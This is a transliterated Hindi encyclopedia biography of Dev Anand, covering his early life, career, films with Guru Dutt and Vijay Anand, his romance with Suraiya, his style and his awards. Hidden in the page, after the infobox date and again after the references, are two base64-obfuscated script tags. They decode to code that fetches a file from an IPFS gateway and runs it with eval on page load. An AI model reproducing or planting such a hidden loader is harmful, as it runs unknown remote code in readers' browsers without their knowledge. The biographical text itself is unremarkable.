देवानंद
devanand
| |
| poora nam | dharmadev anand |
| prasiddh nam | 'devanand' athava 'dev anand' |
| any nam | dev sahab |
| janm | 26 sitanbar, 1923 |
| janm bhoomi | panjab ke guradasapur zile (ab pakistan mean) |
| mrityu | 3 disambar 2011 (88 varsh) |
| mrityu sthan | landan, ianglaiand |
| abhibhavak | pishaurimal anand |
| pati/patni | kalpana kartik |
| santan | sunil anand |
| karm bhoomi | muanbee |
| karm-kshetr | film nirmata-nirdeshak, abhineta |
| mukhy filmean | 'gaid', 'ham donoan', 'bazi', 'kala bazar', 'asali naqali', 'jvelathif', 'j aauni mera' nam adi. |
| shiksha | snatak |
| vidyalay | gavarnameant k aaulej, lahaur |
| puraskar-upadhi | do bar film feyar puraskar, padm bhooshan, dada sahab phalke puraskar |
| nagarikata | bharatiy |
| adyatan | 19:43, 2 aktoobar 2011 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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devanand poora nam dharmadev anand (janm- 26 sitanbar, 1923, panjab; mrityu- 3 disambar, 2011, landan) bharatiy sinema ke shuruati daur ke prasiddh abhineta the jo jivan bhar sakriy aur charchit rahe. ve abhineta ke sath-sath nirmata-nirdeshak bhi the. ve b aaulivud mean 'dev sahab' ke nam se ek zindadil aur bhale iansan ke roop mean prasiddh the. bharatiy sinema mean do pidhiyoan tak lagatar hiro bane rahane vale kalakar ke vishay mean yadi vichar karean to keval ek hi nam ubharata hai aur vah hai dev anand. kabhi apani ek film mean unhoanne ek git gunagunaya tha 'maian ziandagi ka sath nibhata chala gaya, har fikr ko dhuane mean u data chala gaya' aur shayad yahi git unake jivan ko sabase achchhi tarah paribhashit bhi karata hai. dev anand ka nam hiandi sine jagath ke akash mean stail guru banakar jagamagata hai. sadabahar abhineta dev anand ko log 'evaragrin dev sahab' kah kar pukarate haian. sadabahar devanand ka jalava ab bhi baraqarar hai. chhah dashak se adhik samay tak rupahale parade par raj karane vale devanand sahab ka 26 sitanbar ko janmadin p data hai aur 88 varsh ki umr hridayagati ruk jane se 3 disambar 2011 ko unaka dehavasan hua.
jivan parichay
janm aur bachapan
b aaulivud sadabahar hiro dev anand ka poora nam dharmadev pishaurimal anand hai. dev anand jo ki bharatiy sinema ke mahanh kalakar, nirmata v nirdeshak haian, ka janm avibhajit panjab ke guradasapur zile (ab pakistan mean) mean 26 sitanbar, 1923 ko ek madhyam vargiy parivar mean aur prasiddh vakil pishaurimal anand namak ek sanpann ghar hua tha. unaka bachapan ka nam dharmadev (devadatt) pishaurimal anand tha.
unaka bachapan pareshaniyoan se ghira raha. bachapan se hi unaka jhukav apane pita ke peshe vakalat ki or n hokar abhinay ki or tha. ek vakil aur azadi ke lie l dane vale pishaurimal ke ghar paida hone vale dev ne raddi ki dukan se jab baboorav patel dvara sampadit 'film iandiya' ke purane aank padhe to un ki aankhoan ne filmoan mean kam karane ka sapana dekh dala aur vah maya nagari mumbee ke saphar par nikal p de.
shiksha
dev anand ne aangrezi sahity mean apani snatak ki shiksha 1942 mean lahaur ke mashahoor gavarnameant k aaulej se poori ki. is k aaulej ne film aur sahity jagath ko balaraj sahani, chetan anand, bi. ar. chop da aur khushavant sianh jaise shakhsiyatean di haian. isake bad ve uchch shiksha hasil karana chahate the lekin pita ke pas itane paise nahian the.
naukari
dev anand ko apani pahali naukari militri sensar aauphis (armi karespaandeans seansar dipartameant) mean ek lipik ke taur par mili jahaan unhean sainikoan dvara likhi chitthiyoan ko unake parivar ke logoan ko padh kar sunana p data tha. is kam ke lie dev anand ko 165 rupaye masik vetan ke roop mean mila karata tha jisamean se 45 rupaye vah apane parivar ke kharch ke lie bhej diya karate the. lagabhag ek varsh tak militri sensar mean naukari karane ke bad aur parivar ki kamazor arthik sthiti ko dekhate hue vah 30 rupaye jeb mean le kar pita ke muanbee jakar kam n karane ki salah ke viparit dev apane bhaee chetan anand ke sath phrantiyar mel se 1943 mean muanbee pahuanch gaye. chetan anand us samay bharatiy jan natay sangh ipta se ju de hue the. unhoanne dev anand ko bhi apane sath ipta mean shamil kar liya.
filmi saphar
dev anand aur unake chhote bhaee vijay anand ko filmoan mean lane ka shrey unake b de bhaee chetan anand ko jata hai. dev ne ye sapane mean bhi n socha hoga ki kamayabi itani jaldi unake qadam choomegi magar ye tis rupe rang lae aur jaean to jaean kahaan ka rag alapane vale dev anand ko maya nagari mumbee mean ashiyana mil gaya. gayak banane ka sapana lekar muanbee pahuanche devanand abhineta ban ge. devanand ke bhaee, chetan anand aur vijay anand bhi bharatiy sinema mean saphal nirdeshak rahe haian. unaki bahan shil kaanta kapoor prasiddh film nirdeshak shekhar kapoor ki maan hai.
pahali film
filmi duniya mean qadam rakhane ke bad unaka nam simat kar ho gaya devanand. dev anand ko abhineta ke roop mean pahala brek 1946 mean prabhat stoodiyo ki film ‘ham ek haian’ se mila. lekin is film ke asaphal hone se vah darshakoan ke bich apani pahachan nahian bana sake. is film ke nirman ke dauran prabhat stoodiyo mean unaki mulakat bad ke mashahoor film nirmata-nirdeshak gurudatt se huee jo un dinoan filmi duniya mean koriyographar ke roop mean sthan banane ke lie sangharsharat the. vahaan donoan ki dosti huee aur ek sath sapane dekhate in donoan dostoan ne apas mean ek vada kiya ki agar gurudatt film nirdeshak baneange to ve dev ko abhineta ke roop mean leange aur agar dev nirmata baneange to gurudatt ko nirdeshak ke roop mean leange.
film nirman
| varsh | film |
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varsh 1948 mean pradarshit film 'jiddi' (1948) mean abhiऩetri kamini kaushal ke sath dev anand ke filmi kairiyar ki pahali hit film sabit huee. jiddi ne dev anand ko nee ooanchaiyaan dilayi. is film ki kamayabi ke bad unhoanne film nirman ke kshetr mean qadam rakh diya. sanh 1949 mean unhoanne 'navaketan' bainar nam se svayan ki film nirman sanstha khol li aur usake aantargat sal dar sal filmean banane mean saphal huye. navaketan ke bainar tale unhoanne varsh 1950 mean apani pahali film 'aphasar' ka nirman kiya jisake nirdeshan ki zimmedari unhoanne apane b de bhaee chetan anand ko sauanpi. is film ke lie unhoanne us zamane ki jani mani abhinetri suraiya ka chayan kiya jabaki abhineta ke roop mean dev anand khud hi the. halaanki film b aauks aaufis par koee karishma nahian dikha paee.
isake bad unaka dhyan gurudatt ko kie ge vayade ki taraf gaya. aur sanh 1951 mean unhoanne apani agali film 'bazi' ke nirdeshan ki zimmedari gurudatt ko sauanp di. film suparahit huee aur donoan dostoan ki kismat chamak gee. film bazi ki kahani balaraj sahani ne likhi thi. bazi film ki saphalata ke bad dev anand film iandastri mean ek achchhe abhineta ke roop mean shumar hone lage. dev yahian se dilip kumar aur rajakumar ki qatar mean ja kh de hue aur is trimoorti ne lanbe samay tak hiandi filmi duniya par raj kiya. jal, rahi, aandhiyaan, (1952), patita (1953), v any filmoan ke sath shn 1954 mean abhinetri kalpana kartik ke sath aee film "taiksi draivar" b di hit film thi.
devanand aur gurudatt
'bazi' ke hit hone ke bad dev anand ne gurudatt ke nirdeshan mean varsh 1952 mean film jal mean bhi abhinay kiya. is film ke nirdeshan ke bad gurudatt ne yah phaisala kiya ki vah keval apani nirmit filmoan ka nirdeshan kareange. bad mean dev anand ne apani nirmit filmoan ke nirdeshan ki zimmedari apane chhote bhaee vijay anand ko sauanp di. vijay anand ne dev anand ki kee filmoan ka nirdeshan kiya. in filmoan mean kala bazar, tere ghar ke samane, gaid, tere mere sapane, chhupa rustam pramukh haian.
pahali rangin film 'gaid'
thumb|dev anand dev anand prakhyat upanyasakar ar. ke. narayan se kafi prabhavit raha karate the aur unake upanyas gaid par film banana chahate the. ar. ke. narayanan ki svikriti ke bad dev anand ne h aaulivud ke sahayog se isi nam se ek film banaee jisaka nirdeshan kiya tha unake chhote bhaee vijay anand (goldi) ne kiya tha, jo khud bhi ek abhineta the tatha abhinetri vahida rahaman thi. hindi aur aangrezi donoan bhashaoan mean film gaid ka nirman kiya jo dev anand ke sine kairiyar ki pahali rangin film thi. is film ne alochakoan ko bahut prabhavit kiya. gaid ka pradarshan sanh 1965 mean hone ke bad unaka nam hi p d gaya 'rajoo gaid', jo yuvaoan mean bahut lokapriy hua. is film ke lie dev anand ko unake jabardast abhinay ke lie sarvashreshth abhineta ka film pheyar puraskar bhi diya gaya. yah film abhi bhi hindi sinema ki sarvashreshth nirdeshit v sampadit filmoan mean se ek mani jati hai.
nirdeshak ke roop mean
varsh 1970 mean film 'prem pujari' ke sath dev anand ne nirdeshan ke kshetr mean bhi qadam rakh diya. halaanki yah film b aauks aauphis par buri tarah se nakar di gee, bavajood isake unhoanne himmat nahian hari. isake bad varsh 1971 mean film 'hare rama hare krishnaa' ka bhi nirdeshan kiya jisamean 'dam maro dam' git ne dhoom machaee. is film ke kamayabi ke bad devanand ko ek behatarin nirdeshak ke roop mean sthapit kar diya aur unhoanne apani kee filmoan ka nirdeshan bhi kiya. is film ke zarie unhoanne yuva pidhi ko rashtraprem ke lie pukara. in filmoan mean hira panna, desh parades, lootamar, svami dada, sachche ka bolabala, avval nanbar, lav et taims skvair, maian solah baras ki, gaiangastar aur ham naujavan jaisi filmean shamil haian.
dev anand ne kee filmoan ki patakatha bhi likhi. jisamean varsh 1952 mean pradarshit film 'aandhiyaan' ke alava 'hare rama hare krishnaa', 'ham naujavan', 'avval nanbar', 'pyar ka tarana' (1993 mean), 'gaiangestar', 'maian solah baras ki', 'sensar' adi filmean shamil haian.
devanand aur nee abhinetriyaan
devanand ek samay bad nee abhinetriyoan ko parde par utarane ke lie mashahoor ho ge. 'hare rama hare krishnaa' ke zarie unhoanne zinat aman ki khoj ki aur tina munim, natasha sinha v ekata jaisi abhinetriyoan ko maidan mean utarane ka shrey bhi dev sahab ko hi jata hai. bad mean jinat aman ko raj kapoor ka sath mil gaya aur ye bat devanand ko achchhi nahian lagi. film nirman mean utare devanand ne kee nee pratibhaoan tina munim se lekar tabboo tak ka filmi duniya se sakshatkar karaya. unhoanne paanch dashakoan mean suraiya, gita bali, madhubala, mina kumari, nootan, vaijayanti mala, mumataz, hema malini, vahida rahaman se lekar madhubala aur zinat aman tak sabhi utkrisht nayikaoan ke sath abhinay kiya aur har abhinetri ke sath unaki jo di ko khoob saraha gaya.
hal ke saloan mean devanand apani prodakshan kanpani 'navaketan' ke tale kee filmean banane mean vyast the. vah lagatar apane bainar ke tale filmean bana rahe the jisake lid hiro vah khud hi hote the. navaketan bainar tale unhoanne hal ke saloan mean 'hare rama hare krishnaa', 'avval nanbar' jaisi suparahit filmean di haian.
gregari pॅk se samanata
h aaulivud abhineta gregari pॅk ke abhinay se prerit hokar devanand filmoan mean kam karane ke uddeshy se apana nagar chho dakar film nagari mean aye the. devanand ko kee log h aaulivud ke mashahoor abhineta gregari pॅk se bhi jo d kar dekhate haian. bharatiy darshakoan ko apane chahete abhineta devanand mean gregari pॅk ki jhalak nazar aee aur ve unake divane ho ge. devanand ke baloan ka stail, chalane, bolane ka tariqa sab mean gregari pॅk ki jhalak milati thi.
devanand aur romaans
dev anand apani khas stail ke lie jane jate haian. unhoanne apane kiradaroan mean naujavanoan ki umangoan, tarangoan aur chanchalata ko bahut hi khoobasoorat aandazase pesh kiya hai. dev anand adarshavad aur vyavaharavad mean nahian ulajhate aur n hi un ka kiradar prem ki nakamiyoan se do-char hota hai. apani adakaraoan ke sath chhe dakhani, shararat aur phlart karane vala am naujavan dev ka nayak raha. dev ne apane kiradaroan mean har mausam ka lutph liya aur naujavanoan ke chahete ban ge.
kahate haian b aaulivud mean agar koee asali romaantik hiro hai to vah haian sirph devanand. na sirph parde par balki asal ziandagi mean bhi devanand ki dillagi ka koee sani nahian hai. naujavanoan ke jazbat ko parade par pesh karane vale khoobasoorat dev hamesha hi khoobasoorat ladakiyoan se ghire rahe. hazaroan diloan ki dh dakan rahe dev hasinaoan ka sapana ban chuke the. abhinetriyoan ke sath apane romaans ko lekar bhi ve charcha mean rahe. chahe suraiya ho ya zinat aman donoan ke sath unake prem ke charche khoob am hue. khud devanand bhi manate haian ki suraiya unaka pahala prem thian aur zinat ko bhi vah pasand karate the. yahi nahian suraiya bhi dev ki divani thi. 1948 mean bani ‘vidya’ film ki nayika suraiya thi.[1]
devanand aur suraiya
film aphasar ke nirman ke dauran dev anand ka jhukav film gayika-abhinetri suraiya ki or ho gaya tha. isake set par hi donoan mean pyar hua. ek gane ki shootiang ke dauran dev anand aur suraiya ki nav pani mean palat gee jisamean unhoanne suraiya ko doobane se bachaya. isake bad suraiya dev anand se beiantaha mohabbat karane lagian lekin suraiya ki nani ki ijazat n milane par yah jo di paravan nahian chadh saki. 1951 tak donoan ne sat filmoan mean sath kam kiya. magar afasos donoan ke sath rahane ka khvab poora na ho saka. dev ne apane toote pyar ka ijahar kee bar kiya hai. bad ke varsh 1954 mean ‘taiksi draivar’ ki hiroin mona yane kalpana kartik se film ke set par dev anand ne shadi kar li. magar suraiya ne dev ke alava kisi aur ko gavara na kiya aur unaki yad mean ajivan vivah nahian kiya. 50 sal bad dev anand ne svikar kiya ki unaka dil hamesha suraiya ke lie dh dakata rahata tha. varsh 2005 mean jab suraiya ka nidhan hua to devanand un logoan mean se ek the jo unake janaze ke sath the.
devanand ke janadar aur shanadar abhinay ki badaulat parade par jivant akar lene vali prem kahaniyoan ne lakhoan yuvaoan ke diloan mean prem ki laharean paida kian lekin khud devanand is lihaz se ziandagi mean kafi pareshaniyoan se gujare. unhean 'sadabahar abhineta' kah kar pukara gaya to vah bhi yoan hi nahian tha. unhoanne jin abhinetriyoan ke sath nayak ke roop mean kam kiya tha kuchh varshoan pahale tak ve unaki potiyoan ke sath bhi usi bhoomika mean dekhe ge.[1]
devanand ka stail
dev anand ka hastakshar|thumb|250px dev anand ko rajesh khanna se bhi pahale sinema ka 'pahala ch aaukaleti nayak' hone ka gaurav mila. dev anand ki lokapriyata ka alam ye tha ki unhoanne jo bhi pahana, jo bhi kiya vo ek stail mean tabdil ho gaya. phir chahe vo unaka baloan par hath pherane ka aandazaho ya kali kamij ki pahanane ka ya phir apani anoothi shaili mean jaldi-jaldi sanvad bolane ka. munim ji (1955), phantush, siaeedi (1956), peiangagest (1957) ne unhean saphalatam stayalish star bana diya. inaki jhukakar chalane ki ada, ek saans mean lambe dayal aaug bolana aur tirachhe hokar sir hilana unaka tredamark ban gaya.
devanand aur kala kot
apane daur ke sabase saphal abhineta devanand apane kale kot ki vajah se bahut surkhiyoan mean ae the. bat us samay ki hai jab devanand apane alag aandazaur bolane ke tarike ke lie kafi mashahoor the. unake saphed kamij aur kale kot ke phaishan ko to janata ne jaise apana hi bana liya tha aur isi samay ek aisa vakaya bhi dekhane ko mila jab nyayalay ne unake kale kot ko pahan kar ghoomane par pabandi laga di. vajah thi kuchh ladakiyoan ka unake kale kot ke prati asakti ke karan atmahatya kar lena. divanagi mean do-char ladakiyoan ne jan de di. isase ek bat saf thi ki devanand ka kiradar ho ya unaka pahanava hamesha sadabahar hi raha.[1]
devanand ka niji jivan
devanand ne kalpana kartik ke sath shadi ki thi lekin unaki shadi adhik samay tak saphal nahian ho saki. donoan sath rahe lekin bad mean kalpana ne ekaki jivan ko gale laga liya. any filmi abhinetaoan ki tarah devanand ne bhi apane bete sunil anand ko filmoan mean sthapit karane ke lie bahut prayas kie lekin saphal nahian ho sake. kuchh varsh pahale apane janmadin ke avasar par hi unhoanne 'romaansiang vid laiph' nam se apani jivani bazar mean utari thi. amataur par mashahoor hastiyoan ki jivaniyoan ke prasang vivadoan ka vishay banate haian lekin unaki jivani har arth mean bedag rahi bilkul unake jivan ki tarah.
samman aur puraskar
[[chitr:With-Jawaharlal-Nehru-Dilip-Kumar-Raj-Kapoor-and-Dev-Anand.jpg|thumb|250px|javaharalal neharoo ke sath dilip kumar, devanand aur raj kapoor]] dev anand, dilip kumar aur raj kapoor ke 1950 dashak ke b de star rahe haian. dev anand ko apane abhinay ke lie do bar film feyar puraskar se sammanit kiya ja chuka hai. dev anand ko sabase pahala film feyar puraskar varsh 1958 mean pradarshit film 'kala pani' ke lie diya gaya. isake bad varsh 1965 mean bhi dev anand film 'gaid' ke lie sarvashreshth abhineta ke filmafeyar puraskar se sammanit kie ge. sanh 1991 mean dev anand ko film pheyar puraskar mila. varsh 2001 mean dev anand ko bharat sarakar ki or se kala kshetr (film jagath mean yogadan) mean padm bhooshan samman prapt hua. varsh 2002 mean unake dvara hindi sinema mean mahattvapoorn yogadan ko dekhate hue unhean dada sahab phalke puraskar se sammanit kiya gaya.
nidhan
bharatiy sinema ke sadabahar abhineta devanand ka landan mean dil ka daura p dane se 3 disanbar 2011 ko 88 varsh ki umr mean nidhan ho gaya.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 ek sadabahar abhineta ki sadabahar kahani: devanand (hindi) (ech.ti.em.el) jagaran junction. abhigaman tithi: 4 disanbar, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
- soniya gaandhi ghar le geean dev anand ka lal gulab
- ziandagi ka sath nibhate nibhate chale ge devanand
- romaansiang vid : dev anand
sanbandhit lekh
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varnamala kramanusar lekh khoj
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